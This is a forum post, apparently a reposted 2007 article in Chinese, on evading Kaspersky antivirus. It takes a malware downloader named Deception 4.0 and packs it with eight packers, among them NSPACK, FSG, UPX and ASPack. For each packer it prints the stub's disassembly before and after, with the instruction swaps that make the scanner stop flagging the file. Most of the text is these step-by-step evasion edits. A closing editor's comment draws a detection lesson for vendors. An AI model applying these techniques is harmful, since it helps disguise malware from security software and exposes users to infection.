51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 2194|回复: 0
打印 上一主题 下一主题

简单修改木马壳头让卡巴斯基哑口无言

[复制链接]
  • TA的每日心情
    慵懒
    2015-1-8 08:46
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]测试小兵

    跳转到指定楼层
    1#
    发表于 2007-12-13 13:39:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
    简介:在众多反病毒产品中,卡巴斯基在用户口碑相当不错,很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整,却有了惊人的发现——仅通过简单的壳头修改,卡巴大叔竟然无语了。   “小样,你以为你穿了马甲我就不认识你了?”这句台词耳熟能详。现在用户用这句话来形容反病毒厂商的脱壳技术。这项技术的产生与病毒程序编写者使用的“加壳”技术密切相关。
      众所周知,所谓“加壳”就是一种通过一系列数学运算,将可执行程序文件或动态链接库文件的编码进行改变,以达到缩小文件体积或加密程序编码的目的。运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。一切操作自动完成,用户不知道也无需知道壳程序是如何运行的。一般情况下,加壳程序和未加壳程序的运行结果是一样的。
      面对病毒编写者为其病毒“加壳”的问题,反病毒厂商自然而然地采用“脱壳”技术。脱壳的一般流程包括,查壳、寻找OEP(入口点,防止被破解)、Dump(卸出)、修复等步骤。目前,脱壳能力强弱则成为杀毒软件查杀病毒能力如何的重要衡量指标。
      病毒编写者与反病毒厂商之间新一轮博弈在“加壳”与“脱壳”两个共生技术之间展开了。
      在众多反病毒产品中,卡巴斯基在用户口碑相当不错,很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整,却有了惊人的发现——仅通过简单的壳头修改,卡巴大叔竟然无语了。
      笔者随便在网络上下了一个国外的下载者Deception4.0(以下简称DT)。卡巴是杀它的,不然测试就没法进行了。虽然只修改了加在DT上的9,但是按照这种方式加在其他的可执行文件上卡巴也是不报毒的,其中修改后的程序保证了程序的可再运行,不然这种修改是无意义的测试。开始操作,下面准备了八个最常见的壳。
      一、首先对NSPACK3.6的测试
      用OD载入被加过NSPACK壳的DT,复制出前十几行,如下(蓝色加粗是要被修改的部位,以下格式如一)
      004CF302     E8 00000000      call 复件_(2).004CF307
      004CF307     5D               pop ebp
      004CF308     83C5 F9          sub ebp,7
      004CF30B     8D85 0CFFFFFF    lea eax,dword ptr ss:[ebp-F4]
      004CF311     8338 01          cmp dword ptr ds:[eax],1
      004CF314     0F84 47020000    je 复件_(2).004CF561
      004CF31A     C700 01000000    mov dword ptr ds:[eax],1
      004CF320     8BD5             mov edx,ebp
      004CF322     2B95 A0FEFFFF    sub edx,dword ptr ss:[ebp-160]
      004CF328     8995 A0FEFFFF    mov dword ptr ss:[ebp-160],edx
      004CF32E     1195 D0FEFFFF    add dword ptr ss:[ebp-130],edx
      004CF334     8DB5 14FFFFFF    lea esi,dword ptr ss:[ebp-EC]
      004CF33A     1116             add dword ptr ds:[esi],edx
      修改成如下(红色部分)
      004CF302     E8 00000000      call 复件_(2).004CF307
      004CF307     5D               pop ebp
      004CF308     83C5 F9          add ebp,-7
      004CF30B     8D85 0CFFFFFF    lea eax,dword ptr ss:[ebp-F4]
      004CF311     8338 01          cmp dword ptr ds:[eax],1
      004CF314     0F84 47020000    je 复件_(2).004CF561
      004CF31A     C700 01000000    mov dword ptr ds:[eax],1
      004CF320     8BD5             mov edx,ebp
      004CF322     2B95 A0FEFFFF    sub edx,dword ptr ss:[ebp-160]
      004CF328     8995 A0FEFFFF    mov dword ptr ss:[ebp-160],edx
      004CF32E     1195 D0FEFFFF    adc dword ptr ss:[ebp-130],edx
      004CF334     8DB5 14FFFFFF    lea esi,dword ptr ss:[ebp-EC]
      004CF33A     1116             adc dword ptr ds:[esi],edx
      之后保存文件,用卡巴扫描,不再报毒。
      二、FSG2.0的测试
      OD载入被FSG2.0加了壳的DT
      复制出前十几行,如下
      00400154 f>  8725 2C115300    xchg dword ptr ds:[53112C],esp
      0040015A     61               popad
      0040015B     94               xchg eax,esp
      0040015C     55               push ebp
      0040015D     A4               movs byte ptr es:[edi],byte ptr ds:>
      0040015E     B6 80            mov dh,80
      00400160     FF13             call dword ptr ds:[ebx]
      00400162   ^ 77 F9            jnb short fsg2_0.0040015D
      00400164     33C9             xor ecx,ecx
      00400166     FF13             call dword ptr ds:[ebx]
      00400168     77 16            jnb short fsg2_0.00400180
      0040016A     33C0             xor eax,eax
      修改后如下
      00400154 f>  8725 2C115300    xchg dword ptr ds:[53112C],esp
      0040015A     61               popad
      0040015B     94               xchg eax,esp
      0040015C     55               push ebp
      0040015D     A4               movs byte ptr es:[edi],byte ptr ds:>
      0040015E     B6 80            mov dh,80
      00400160     FF13             call dword ptr ds:[ebx]
      00400162   ^ 77 F9            ja short fsg2_0.0040015D
      00400164     33C9             xor ecx,ecx
      00400166     FF13             call dword ptr ds:[ebx]
      00400168     77 16            ja short fsg2_0.00400180
      0040016A     33C0             xor eax,eax
      卡巴扫描,不再报毒。
      三、winupack的测试
      OD载入被加了壳的DT,如下
      00526740 w>  60               pushad
      00526741     E8 09000000      call winupack.0052674F
      00526746     BE 651200E9      mov esi,E9001265
      0052674B     06               push es
      0052674C     1200             add al,byte ptr ds:[eax]
      0052674E     1033             add byte ptr ds:[ebx],dh

      00526750     C9               leave
      00526751     5E               pop esi
      00526752     870E             xchg dword ptr ds:[esi],ecx
      00526754   ^ E3 F4            jecxz short winupack.0052674A
      00526756     1BF1             sub esi,ecx
      00526758     8BDE             mov ebx,esi
      0052675A     AD               lods dword ptr ds:[esi]
      0052675B     1BD8             sub ebx,eax
      0052675D     AD               lods dword ptr ds:[esi]
      做了修改的如下
      00526740 w>  60               pushad
      00526741     E8 09000000      call winupack.0052674F
      00526746     BE 651200E9      mov esi,E9001265
      0052674B     06               push es
      0052674C     1200             adc al,byte ptr ds:[eax]
      0052674E     1033             adc byte ptr ds:[ebx],dh

      00526750     C9               leave
      00526751     5E               pop esi
      00526752     870E             xchg dword ptr ds:[esi],ecx
      00526754   ^ E3 F4            jecxz short winupack.0052674A
      00526756     1BF1             sbb esi,ecx
      00526758     8BDE             mov ebx,esi
      0052675A     AD               lods dword ptr ds:[esi]
      0052675B     1BD8             sbb ebx,eax
      0052675D     AD               lods dword ptr ds:[esi]
      卡巴扫描,不再报毒。
      四、ASPack的修改
      同样OD载入复制出前面的十几行反汇编代码,注意这个在载入之后把滚动条再向上拉一行。复制出来如下
      004CC000     90               nop
      004CC001 a>  60               pushad
      004CC002     E8 03000000      call asp.004CC00A
      004CC007   - E9 EB045D45      jmp 45A9C4F7
      004CC00C     55               push ebp
      004CC00D     C3               retn
      004CC00E     E8 01000000      call asp.004CC014
      004CC013     EB 5D            jmp short asp.004CC072
      004CC015     BB EDFFFFFF      mov ebx,-13
      004CC01A     03DD             add ebx,ebp
      004CC01C     81EB 00C00C00    sub ebx,0CC000
      004CC022     83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
      修改后如下,对照前面地址一一对应的修改
      004CC000     60               pushad
      004CC001 a>  90               nop
      004CC002     E8 03000000      call asp.004CC00A
      004CC007     E8 EB045D45      call 45A9C4F7
      004CC00C     55               push ebp
      004CC00D     C3               retn
      004CC00E     E8 01000000      call asp.004CC014
      004CC013     73 5D            jnb short asp.004CC072
      004CC015     BB EDFFFFFF      mov ebx,-13
      004CC01A     11EB             adc ebx,ebp
      004CC01C     81C3 0040F3FF    add ebx,FFF34000
      004CC022     83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
      卡巴扫描,不再报毒。
      五 JDPACK的修改
      这个是修改最复杂的一个。几乎面目全非了。但是能够保证运行的。修改前,如下
      004CC000 复>  60               pushad
      004CC001     E8 00000000      call 复件_(8).004CC006
      004CC006     5D               pop ebp
      004CC007     8BD5             mov edx,ebp
      004CC009     81ED C62B4000    sub ebp,复件_(8).00402BC6
      004CC00F     2B95 61344000    sub edx,dword ptr ss:[ebp+403461]
      004CC015     81EA 06000000    sub edx,6
      004CC01B     8995 65344000    mov dword ptr ss:[ebp+403465],edx

      004CC021     83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
      修改后的
      004CC000 复>  90               nop
      004CC001     E8 00000000      call 复件_(8).004CC006
      004CC006     5D               pop ebp
      004CC007     8BC5             mov eax,ebp
      004CC009     8BD0             mov edx,eax
      004CC00B     81ED C62B4000    sub ebp,复件_(8).00402BC6
      004CC011     2B95 61344000    sub edx,dword ptr ss:[ebp+403461]
      004CC017     83C2 FA          add edx,-6
      004CC01A     8995 65344000    mov dword ptr ss:[ebp+403465],edx
      004CC020     90               nop

      004CC021     83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
      这个真的是让我改的面目全非了 ,不过你可以把004CC021前面的都NOP掉,然后一行一行汇编上去就可以了。
      六、UPX的修改
      UPX可以说是免费的最经典的压缩壳。我门来修改一下,OD载入。修改前,如下
      004CE240 复>  60               pushad
      004CE241     BE 00504700      mov esi,复件_(2).00475000
      004CE246     8DBE 00C0F8FF    lea edi,dword ptr ds:[esi+FFF8C000]
      004CE24C     C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
      004CE256     57               push edi
      004CE257     83CD FF          or ebp,FFFFFFFF
      004CE25A     EB 0E            jmp short 复件_(2).004CE26A
      004CE25C     90               nop
      004CE25D     90               nop
      004CE25E     90               nop
      004CE25F     90               nop

      004CE260     8A06             mov al,byte ptr ds:[esi]
      修改后如下
      004CE240 复>  60               pushad
      004CE241     BE 00504700      mov esi,复件_(2).00475000
      004CE246     8DBE 00C0F8FF    lea edi,dword ptr ds:[esi+FFF8C000]
      004CE24C     C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
      004CE256     57               push edi
      004CE257     83CD FF          or ebp,FFFFFFFF
      004CE25A     77 0E            ja short 复件_(2).004CE26A
      004CE25C     73 0C            jnb short 复件_(2).004CE26A
      004CE25E     72 0A            jb short 复件_(2).004CE26A

      004CE260     8A06             mov al,byte ptr ds:[esi]
      卡巴扫描,不再报毒。
      七、NSPACK1.1的修改
      看了一下这个和3.6版本不是一个样子的,所以这个也修改下。这个最简单一个指令卡巴就不发出那难听的叫声了。OD载入,如下
      004CF600 复>  9C               pushfd
      004CF601     60               pushad
      004CF602     68 07F64C00      call 复件_(4).004CF607
      004CF607     5D               pop ebp
      修改如下
      004CF600 复>  9C               pushfd
      004CF601     60               pushad
      004CF602     68 07F64C00      push 复件_(4).004CF607
      004CF607     5D               pop ebp
      八、堀北压缩(KBYS)0.28的修改
      这个壳可以和UPX相媲美的压缩壳,但是没有UPX那么著名,只要是它压缩过的,卡巴大叔们都一路KILL。简单修改下,卡巴大叔安静了。OD载入,前四行如下
      00401000 复>    E8 F8C10C00    push 复件_(5).004CD1FD
      00401005       68 0B104000    call 复件_(5).0040100B                ;  入口地址

      0040100A   \.  C3             retn
      0040100B    $  C3             retn
      修改如下
      00401000 复>    E8 F8C10C00    call 复件_(5).004CD1FD
      00401005       68 0B104000    push 复件_(5).0040100B                ;  入口地址

      0040100A   \.  C3             retn
      0040100B    $  C3             retn
      以上是列举了八种壳,都是通过壳头的简单修改,就使得卡巴这个号称虚拟脱壳杀毒很强的世界顶级杀软沉默了,当然我们抛开它目前的主动防御杀毒,单从文件查杀上做了一次测试,

      从中似乎能分析出卡巴对于脱壳,也似乎是象特征码那样,将壳的特征入库了,然后在利用脱壳引擎把壳脱掉去杀毒。如果这样,那许多壳的特征卡巴只放在了壳的头部,尤其这种压缩形式的壳是这样的,对于某些加密壳,壳头怎样修改都无用。以上也仅仅是一种猜测。
      编者:作者通过简单的修改,使一个被杀的下载者逃过了卡巴斯基的查杀。其实,现在很多黑客都会通过修改木马的服务端来躲避杀毒软件的查杀。本文是以卡巴斯基为例子,相信大多数知名的杀毒软件都会遇到这类难题。编者认为杀毒软件对于一个壳不要简单只识别壳的头部来进行识别,取复合的壳特征码,这样会增加查杀力度。另外从KBYS这个压缩壳上也可以看出一个缺陷,卡巴通杀了加这个壳的可执行文件,但是似乎并未进行脱壳后的再查杀,所以只要让这个壳免杀,那加了壳的文件也就免杀了,杀的不彻底。另外,修改的过程中发现对于一些加密壳卡巴的查杀力度较大,这似乎对于不同种类的壳卡巴有不同的态度,但是纠其作为杀毒软件来说,应该是一次性的彻底取特征码。
    分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
    收藏收藏
    回复

    使用道具 举报

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

    GMT+8, 2024-5-3 17:48 , Processed in 0.069339 second(s), 27 queries .

    Powered by Discuz! X3.2

    © 2001-2024 Comsenz Inc.

    快速回复 返回顶部 返回列表